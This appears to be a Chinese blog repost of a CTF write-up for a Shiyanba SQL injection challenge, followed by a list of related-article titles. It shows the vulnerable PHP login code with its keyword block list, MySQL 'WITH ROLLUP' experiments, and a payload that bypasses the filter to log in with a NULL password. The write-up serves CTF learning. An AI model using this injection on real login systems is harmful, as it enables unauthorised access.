实验吧 因缺思汀的绕过 By Assassin(with rollup统计)
来源:互联网 发布:java实现base64解码 编辑:程序博客网 时间:2024/06/05 16:15
这个题目还是比较新鲜的,很久没回实验吧了学到了很多的姿势~不得不说不看提示真心想不到这些,嗯。
首先我们需要了解题目中php的工作原理,首先审源码得到了source.txt得到了源码,然后我们看一下源码干了什么,主要就是一个登陆认证!
<?phperror_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo '<input name="uname" type="text"/>'."<br/>"; echo '<input name="pwd" type="text"/>'."<br/>"; echo '<input type="submit" />'."<br/>"; echo '</form>'."<br/>"; echo '<!--source: source.txt-->'."<br/>"; die;}function AttackFilter($StrKey,$StrValue,$ArrReq){ if (is_array($StrValue)){ $StrValue=implode($StrValue); } if (preg_match("/".$ArrReq."/is",$StrValue)==1){ print "姘村彲杞借垷锛屼害鍙禌鑹囷紒"; exit(); }}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter);}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");if (!$con){ die('Could not connect: ' . mysql_error());}$db="XXXXXX";mysql_select_db($db, $con);$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";$query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query); if($key['pwd'] == $_POST['pwd']) { print "CTF{XXXXXX}"; }else{ print "浜﹀彲璧涜墖锛?"; }}else{ print "涓€棰楄禌鑹囷紒";}mysql_close($con);?>
可以看到主要是
$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;
这句话过滤了很多关键词,加上function AttackFilter这个函数起到了过滤的作用,这里是巧妙地用了select过程中用group by with rollup这个统计的方法进行插入查询。我们用mysql做几个小实验就明白这个是怎么用的了!
mysql> create table test ( -> user varchar(100) not null, -> pwd varchar(100) not null); mysql>insert into test values("admin","mypass");mysql>select * from test group by pwd with rollupmysql> select * from test group by pwd with rollup;+-------+------------+| user | pwd |+-------+------------+| guest | alsomypass || admin | mypass || admin | NULL |+-------+------------+3 rows in setmysql> select * from test group by pwd with rollup limit 1;+-------+------------+| user | pwd |+-------+------------+| guest | alsomypass |+-------+------------+mysql> select * from test group by pwd with rollup limit 1 offset 0;+-------+------------+| user | pwd |+-------+------------+| guest | alsomypass |+-------+------------+1 row in setmysql> select * from test group by pwd with rollup limit 1 offset 1;+-------+--------+| user | pwd |+-------+--------+| admin | mypass |+-------+--------+1 row in setmysql> select * from test group by pwd with rollup limit 1 offset 2;+-------+------+| user | pwd |+-------+------+| admin | NULL |+-------+------+1 row in set
哎,然后我们就看到关键了,这个查询的时候可以想办法
让pwd变成空,而且user这一列用的却是也是存在的字段!
这就很好用了!又有if (mysql_num_rows($query) == 1)知道只要一列。
然后我们构造payload
’ or 1=1 group by pwd with rollup limit 1 offset XX#
然后一个试出来就行啦。涨姿势!
这是第二届北京网络安全技术大赛夺旗赛Writeup(Web安全篇)的一个题目
0 1
- 实验吧 因缺思汀的绕过 By Assassin(with rollup统计)
- CTF实验吧-因缺思汀的绕过【group by,with rollup,limit offset的利用】
- 实验吧 因缺思汀的绕过
- 实验吧-因缺思汀的绕过WriteUp
- 实验吧-因缺思汀的绕过
- 实验吧-因缺思厅的绕过writeup
- 实验吧 Noisy By Assassin
- 实验吧 snake by Assassin
- 因缺思汀的绕过
- 因缺思汀的绕过
- 实验吧 小白鼠与蝙蝠的故事 by Assassin
- 实验吧 Zcrypt(ASIS CTF 2015) BY Assassin
- 实验吧 迷宫大逃亡 By Assassin
- 使用 GROUP BY WITH ROLLUP 改善统计性能
- 使用 GROUP BY WITH ROLLUP 改善统计性能
- 使用 GROUP BY WITH ROLLUP 改善统计性能 .
- 使用 GROUP BY WITH ROLLUP 改善统计性能
- 使用 GROUP BY 的 WITH ROLLUP
- 一起学 Java(四) File、Try 、序列化、MySQL、Socke
- 共同学习Java源代码-数据结构-AbstractMap抽象类(一)
- PAT1009. 说反话 (20)
- BurpSuite系列(五)----Intruder模块(暴力破解)
- 洛谷P1057 传球游戏
- 实验吧 因缺思汀的绕过 By Assassin(with rollup统计)
- Javascript:原型编程思想带来的2个好处
- Windows7下安装Caffe(GPU):另一个失败版本
- Codevs2038 线段树练习3(分块)
- 不要怂,就是GAN (生成式对抗网络) (四):训练和测试 GAN
- 2017年的祝福
- 202. Happy Number
- 3D游戏引擎系列五
- 为什么要设置Java环境变量(windows)